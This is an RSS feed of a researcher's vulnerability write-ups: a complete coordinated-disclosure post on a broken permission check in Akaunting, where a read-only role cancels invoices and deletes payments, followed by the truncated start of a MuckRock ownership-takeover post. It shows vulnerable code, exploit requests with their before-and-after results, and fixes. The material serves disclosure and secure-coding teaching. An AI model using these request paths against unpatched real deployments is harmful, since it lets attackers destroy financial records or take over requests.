<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Santosh Kumar Puppala</title>
    <description>The latest articles on DEV Community by Santosh Kumar Puppala (@santosh_kumarpuppala_96e).</description>
    <link>https://dev.to/santosh_kumarpuppala_96e</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4059194%2F71079c6a-a839-4be5-92c7-a30d17955456.png</url>
      <title>DEV Community: Santosh Kumar Puppala</title>
      <link>https://dev.to/santosh_kumarpuppala_96e</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/santosh_kumarpuppala_96e"/>
    <language>en</language>
    <item>
      <title>It only guarded the verbs it recognized: a read-only role could cancel invoices in Akaunting</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Sun, 16 Aug 2026 20:34:41 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/it-only-guarded-the-verbs-it-recognized-a-read-only-role-could-cancel-invoices-in-akaunting-44c7</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/it-only-guarded-the-verbs-it-recognized-a-read-only-role-could-cancel-invoices-in-akaunting-44c7</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What:&lt;/strong&gt; In Akaunting — the open-source accounting app small businesses self-host to run invoices, bills and payments — the per-controller permission middleware only recognized the standard CRUD action names. The document &lt;code&gt;mark*&lt;/code&gt; actions (&lt;code&gt;markSent&lt;/code&gt;, &lt;code&gt;markCancelled&lt;/code&gt;, &lt;code&gt;markReceived&lt;/code&gt;) matched none of them, so they ran with no permission check. A user holding only a &lt;strong&gt;read&lt;/strong&gt; role on invoices/bills — the built-in &lt;code&gt;accountant&lt;/code&gt; role — could cancel documents and delete the linked payment records.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; A read-only accountant sends one &lt;code&gt;GET&lt;/code&gt; and the invoice is cancelled and its recorded payment transaction is deleted — corrupting the books — while the same account is correctly refused (403) on the normal update. CWE-862. I score it CVSS v3.1 &lt;strong&gt;7.1 (High)&lt;/strong&gt; (&lt;code&gt;AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L&lt;/code&gt;) — that is &lt;em&gt;my&lt;/em&gt; scoring; there is no advisory and no vendor rating, and a scorer who treats &lt;code&gt;markSent&lt;/code&gt;/&lt;code&gt;markReceived&lt;/code&gt; as non-destructive state-change lands around 5–6.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fixed:&lt;/strong&gt; in &lt;strong&gt;3.2.0&lt;/strong&gt; — commit &lt;code&gt;80ef6d3b&lt;/code&gt;, "Added missing permissions and security fixed.." — which adds the &lt;code&gt;mark*&lt;/code&gt; verbs to the &lt;code&gt;update-&lt;/code&gt; permission. Reported by me, &lt;strong&gt;Santosh Kumar Puppala&lt;/strong&gt;, under coordinated disclosure. No reply, no advisory; a CVE has been requested and is pending.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;Akaunting runs the actual books for a lot of small businesses — invoices out, bills in, payments recorded against them. It is role-based by design: you hand your bookkeeper or an external accountant an account and you trust the role to bound what they can touch. The built-in &lt;code&gt;accountant&lt;/code&gt; role is seeded &lt;strong&gt;read-only&lt;/strong&gt; on invoices and bills. Read the numbers; don't change them.&lt;/p&gt;

&lt;p&gt;The entire value of that role is the boundary. This bug is the boundary quietly not existing on three endpoints.&lt;/p&gt;

&lt;p&gt;And the endpoints aren't harmless toggles. Cancelling an invoice doesn't just flip a status — it deletes the payment transactions recorded against it. So the least-privileged finance role in the product could reach in and destroy financial records it was never allowed to edit.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;Akaunting wires up authorization centrally. Every controller inherits from a base &lt;code&gt;Controller&lt;/code&gt; whose constructor calls &lt;code&gt;assignPermissionsToController&lt;/code&gt;, which maps action names to &lt;code&gt;permission:&lt;/code&gt; middleware (&lt;code&gt;app/Traits/Permissions.php:496&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'permission:create-'&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$controller&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;only&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'create'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'store'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'duplicate'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'import'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'permission:read-'&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$controller&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;only&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'index'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'show'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'edit'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'export'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'permission:update-'&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$controller&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;only&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'update'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'enable'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'disable'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'permission:delete-'&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$controller&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;only&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'destroy'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's a tidy design. Name your controller method &lt;code&gt;store&lt;/code&gt; and it's gated behind &lt;code&gt;create-&amp;lt;controller&amp;gt;&lt;/code&gt;; name it &lt;code&gt;destroy&lt;/code&gt; and it needs &lt;code&gt;delete-&amp;lt;controller&amp;gt;&lt;/code&gt;. The &lt;code&gt;accountant&lt;/code&gt; role is granted &lt;code&gt;r&lt;/code&gt; on &lt;code&gt;sales-invoices&lt;/code&gt; and &lt;code&gt;purchases-bills&lt;/code&gt; in &lt;code&gt;database/seeds/Permissions.php&lt;/code&gt; and nothing more — so &lt;code&gt;index&lt;/code&gt;/&lt;code&gt;show&lt;/code&gt;/&lt;code&gt;edit&lt;/code&gt; pass, &lt;code&gt;update&lt;/code&gt;/&lt;code&gt;destroy&lt;/code&gt; don't.&lt;/p&gt;

&lt;p&gt;You've probably already spotted the shape of the problem. This is an &lt;strong&gt;allowlist keyed on method name.&lt;/strong&gt; It protects exactly the handful of names in those four &lt;code&gt;only()&lt;/code&gt; lists. Anything else a controller exposes is, by construction, ungated.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;Invoices have more actions than CRUD. You can mark an invoice &lt;strong&gt;sent&lt;/strong&gt;, &lt;strong&gt;cancelled&lt;/strong&gt;, or &lt;strong&gt;received&lt;/strong&gt; — real state changes with real side effects. Those methods are named &lt;code&gt;markSent&lt;/code&gt;, &lt;code&gt;markCancelled&lt;/code&gt;, &lt;code&gt;markReceived&lt;/code&gt;. Look back at the four lists: none of those names appears in any of them.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Sales\Invoices&lt;/code&gt; and &lt;code&gt;Purchases\Bills&lt;/code&gt; add no constructor override, and the admin route group only enforces &lt;code&gt;permission:read-admin-panel&lt;/code&gt;. So the &lt;code&gt;mark*&lt;/code&gt; methods run with no permission check beyond "can this user see the admin area at all" — which the read-only accountant can. One controller over, &lt;code&gt;Sales\RecurringInvoices&lt;/code&gt; gates its own state-change verbs in its constructor with &lt;code&gt;permission:update-sales-invoices&lt;/code&gt; — so the project already decided a document mutation should require &lt;code&gt;update-&lt;/code&gt;. The &lt;code&gt;mark*&lt;/code&gt; actions are simply where it didn't.&lt;/p&gt;

&lt;p&gt;The routes are plain GETs (&lt;code&gt;routes/admin.php&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET  {company}/sales/invoices/{invoice}/cancelled  -&amp;gt;  Sales\Invoices@markCancelled
GET  {company}/sales/invoices/{invoice}/sent       -&amp;gt;  Sales\Invoices@markSent
GET  {company}/purchases/bills/{bill}/cancelled     -&amp;gt;  Purchases\Bills@markCancelled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And &lt;code&gt;markCancelled&lt;/code&gt; is not a soft toggle. It dispatches &lt;code&gt;Jobs\Document\CancelDocument&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="no"&gt;\DB&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;transaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;deleteRelationships&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'transactions'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'recurring'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; &lt;span class="c1"&gt;// deletes recorded payments&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'cancelled'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;deleteRelationships($model, ['transactions', ...])&lt;/code&gt; deletes the payment transactions linked to the document. A read-only role reaches that.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1vd909u32ageijkknjbk.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1vd909u32ageijkknjbk.gif" alt=" " width="800" height="524"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The permission layer protected the verbs it had names for and waved through every verb it didn't — so an action that deletes payment records inherited the access level of a read-only role, purely because of what it was called.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That framing is what separates this from a design decision. If Akaunting nowhere required &lt;code&gt;update-&lt;/code&gt; to change a document, a maintainer could argue "the accountant role is trusted." But the sibling &lt;code&gt;RecurringInvoices&lt;/code&gt; controller demands exactly that permission for the same kind of verb. The rule the project wants exists and is enforced elsewhere; it just isn't on this path.&lt;/p&gt;

&lt;h2&gt;
  
  
  Proof of concept
&lt;/h2&gt;

&lt;p&gt;I confirmed this end to end against the shipped release — the official &lt;code&gt;akaunting/akaunting:3.1.21&lt;/code&gt; image plus MariaDB, using Akaunting's own Docker compose. Everything below runs as &lt;strong&gt;U&lt;/strong&gt;, a user with the built-in &lt;code&gt;accountant&lt;/code&gt; role (&lt;code&gt;role_id&lt;/code&gt; 4), in company 1. U is a genuine read-only account: it gets a 403 on &lt;code&gt;/1/wizard&lt;/code&gt;, an admin-only page.&lt;/p&gt;

&lt;p&gt;The target is deliberately benign — one synthetic invoice (&lt;code&gt;INV-POC-001&lt;/code&gt;, status &lt;code&gt;draft&lt;/code&gt;) with one linked £100 payment transaction (&lt;code&gt;TXN-POC-001&lt;/code&gt;). The "payload" is a permission test, nothing more.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;state BEFORE:  invoice id=1 status=draft ;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;transaction &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nv"&gt;document_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nv"&gt;deleted_at&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;NULL
&lt;span class="go"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;[CONTROL]  PUT /1/sales/invoices/1              -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;HTTP 403   &lt;span class="o"&gt;(&lt;/span&gt;update-sales-invoices — correctly denied&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;[ATTACK]   GET /1/sales/invoices/1/cancelled    -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;HTTP 302   &lt;span class="o"&gt;(&lt;/span&gt;succeeds — no permission middleware&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;
state AFTER:   invoice id=1 status=cancelled
               transaction id=1 deleted_at=2026-06-13 02:38:12   &amp;lt;- linked payment record deleted
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The control is the point. The same user, in the same session, is refused the normal update path (&lt;code&gt;PUT&lt;/code&gt; → 403, because the read role lacks &lt;code&gt;update-sales-invoices&lt;/code&gt;) and then cancels the invoice and destroys its payment transaction through a GET the framework never gated. One more, for the sibling verb:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[VARIANT]  (fresh draft INV-POC-002)
&lt;/span&gt;&lt;span class="gp"&gt;           GET /1/sales/invoices/2/sent          -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;HTTP 302 &lt;span class="p"&gt;;&lt;/span&gt; status draft -&amp;gt; sent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same shape on bills (&lt;code&gt;/purchases/bills/{id}/cancelled&lt;/code&gt;, &lt;code&gt;/received&lt;/code&gt;). A role provably barred from editing invoices could cancel them and delete their recorded payments.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;The fix shipped in &lt;strong&gt;3.2.0&lt;/strong&gt; — commit &lt;code&gt;80ef6d3b&lt;/code&gt;, message &lt;em&gt;"Added missing permissions and security fixed.."&lt;/em&gt;, 2026-07-12 — and it's the obvious one-liner: put the &lt;code&gt;mark*&lt;/code&gt; verbs behind the same &lt;code&gt;update-&lt;/code&gt; permission their CRUD siblings already require.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Traits/Permissions.php — the update mapping, before:&lt;/span&gt;
&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'permission:update-'&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$controller&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;only&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'update'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'enable'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'disable'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 3.2.0 adds the state-change verbs to that list, so markSent / markCancelled /&lt;/span&gt;
&lt;span class="c1"&gt;// markReceived now demand update-&amp;lt;controller&amp;gt; — and a read-only role gets a 403.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is exactly the remediation I sent on June 13th, and it matches what &lt;code&gt;RecurringInvoices&lt;/code&gt; was already doing. (I'm describing the change rather than pasting the byte-exact commit: I confirmed the commit, the fixed versions and the approach from public release metadata, not from a rebuilt-and-retested 3.2.0 image.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;An allowlist keyed on method name silently excludes every method you forget to name.&lt;/strong&gt; The mapping in &lt;code&gt;assignPermissionsToController&lt;/code&gt; is elegant, and it is the vulnerability: it defends the canonical CRUD verbs and nothing else. The moment someone adds &lt;code&gt;markCancelled&lt;/code&gt; — a perfectly reasonable controller method — it lands outside the allowlist and ships ungated, with no error, no warning, nothing that looks wrong in review. If your framework binds authorization to names, every new method is an opt-out by default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When a codebase already gates a verb in one place, grep for the same verb everywhere else.&lt;/strong&gt; &lt;code&gt;RecurringInvoices&lt;/code&gt; gated these behind &lt;code&gt;update-sales-invoices&lt;/code&gt;. That single deliberate line is the project's own statement of intent — and it turns "is this by-design?" from an argument into a mechanical check: find the controller that does it right, then find the siblings that don't. That is how this was found, and it's a fifteen-minute audit in any RBAC app.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Read-only isn't read-only until every write path enforces it.&lt;/strong&gt; The most dangerous account is often the one everyone assumes is safe. A role you hand out freely — the external accountant, the junior bookkeeper — is exactly the one worth pointing at your destructive endpoints.&lt;/p&gt;

&lt;h2&gt;
  
  
  Disclosure timeline
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-06-12&lt;/td&gt;
&lt;td&gt;Found during a source review of finance apps; live Docker PoC confirmed the same day (accountant role, DB before/after)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-06-13&lt;/td&gt;
&lt;td&gt;Reported privately to &lt;code&gt;security@akaunting.com&lt;/code&gt; per their SECURITY.md, coordinated disclosure, with full remediation guidance; CVE also requested via Snyk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-07-12&lt;/td&gt;
&lt;td&gt;Fix lands — commit &lt;code&gt;80ef6d3b&lt;/code&gt;, "Added missing permissions and security fixed..", 29 days after the report — and ships in 3.2.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;No reply and no advisory; a CVE has been requested and is pending&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I never got a reply, so I can't prove cause and effect — but the fix that shipped is precisely the change I proposed, down to the permission it reuses.&lt;/p&gt;

&lt;h2&gt;
  
  
  Credit
&lt;/h2&gt;

&lt;p&gt;Reported by &lt;strong&gt;Santosh Kumar Puppala&lt;/strong&gt; — GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;, under coordinated disclosure. No CVE has been assigned yet; one has been requested.&lt;/p&gt;

&lt;p&gt;If you run a Laravel app that maps permissions to controller-method names, go read that mapping and then list every public method on your mutating controllers. The methods that aren't in the map are your attack surface. That's the whole audit.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq &amp;amp; Veridor). GitHub: &lt;a href="https://github.com/Santoshkumarpuppala" rel="noopener noreferrer"&gt;@Santoshkumarpuppala&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>php</category>
      <category>laravel</category>
      <category>appsec</category>
    </item>
    <item>
      <title>It checked the request, but it changed the composer: FOIA request takeover in MuckRock</title>
      <dc:creator>Santosh Kumar Puppala</dc:creator>
      <pubDate>Sun, 16 Aug 2026 17:23:06 +0000</pubDate>
      <link>https://dev.to/santosh_kumarpuppala_96e/it-checked-the-request-but-it-changed-the-composer-foia-request-takeover-in-muckrock-27ep</link>
      <guid>https://dev.to/santosh_kumarpuppala_96e/it-checked-the-request-but-it-changed-the-composer-foia-request-takeover-in-muckrock-27ep</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What:&lt;/strong&gt; In MuckRock — the FOIA / public-records platform that runs muckrock.com and is self-hostable — a collaborator holding only the &lt;strong&gt;editor&lt;/strong&gt; tier on a request could reassign that request's &lt;em&gt;owner&lt;/em&gt; to any account on the platform, via &lt;code&gt;POST action=change_owner&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; The editor hands an embargoed public-records request to an account they control, and the account that filed it is locked out of its own request entirely — HTTP 404. CWE-269 / CWE-862. I score it CVSS v3.1 &lt;strong&gt;8.1 (High)&lt;/strong&gt; (&lt;code&gt;AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&lt;/code&gt;) — that is &lt;em&gt;my&lt;/em&gt; scoring; there is no advisory and no vendor rating, and a scorer who declines the confidentiality impact would land at 6.5.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fixed:&lt;/strong&gt; a one-line change on &lt;code&gt;main&lt;/code&gt;, three days after I reported it. MuckRock publishes no tagged releases and deploys continuously from &lt;code&gt;main&lt;/code&gt;, so there is no version number to point at. Reported by me, &lt;strong&gt;Santosh Kumar Puppala&lt;/strong&gt;, under coordinated disclosure. No CVE has been assigned.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why you should care
&lt;/h2&gt;

&lt;p&gt;A lot of American public-records work runs through MuckRock. Journalists, researchers and ordinary citizens file FOIA requests on it, and requests can be &lt;strong&gt;embargoed&lt;/strong&gt; — deliberately hidden while a story is still being reported. It is also multi-tenant in the most literal sense: independent requesters who compete with each other share one deployment.&lt;/p&gt;

&lt;p&gt;FOIA requests are collaborative. You invite an editor onto a request so they can help chase an agency. That invitation is a trust decision, but it is a &lt;em&gt;bounded&lt;/em&gt; one — you're granting help, not handing over the story.&lt;/p&gt;

&lt;p&gt;This bug is what happens when the bound isn't enforced by the code that matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;MuckRock's authorization lives in a &lt;code&gt;rules.py&lt;/code&gt; predicate file — a clean, readable design. Two predicates matter here (four lines, gathered from across that file):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# muckrock/foia/rules.py
&lt;/span&gt;&lt;span class="n"&gt;can_edit&lt;/span&gt;          &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;is_owner&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;is_editor&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;is_staff&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;is_proxy&lt;/span&gt;   &lt;span class="c1"&gt;# :200
&lt;/span&gt;&lt;span class="n"&gt;can_edit_composer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;is_owner_composer&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;is_staff&lt;/span&gt;                 &lt;span class="c1"&gt;# :229
&lt;/span&gt;
&lt;span class="nf"&gt;add_perm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;foia.change_foiarequest&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="n"&gt;can_edit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                   &lt;span class="c1"&gt;# :232
&lt;/span&gt;&lt;span class="nf"&gt;add_perm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;foia.change_foiacomposer&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;can_edit_composer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="c1"&gt;# :257
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read those together and the intent is unambiguous. Editing a &lt;strong&gt;request&lt;/strong&gt; is something editors may do. Editing the &lt;strong&gt;composer&lt;/strong&gt; — the object that carries &lt;code&gt;user&lt;/code&gt;, i.e. &lt;em&gt;who owns this request&lt;/em&gt; — is reserved for the owner and staff. The codebase already knew ownership was a higher-privilege concept than editing. It wrote the rule down.&lt;/p&gt;

&lt;p&gt;The other piece of the setup is how the request detail page handles POSTs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# muckrock/foia/views/detail.py:388-394  (abridged)
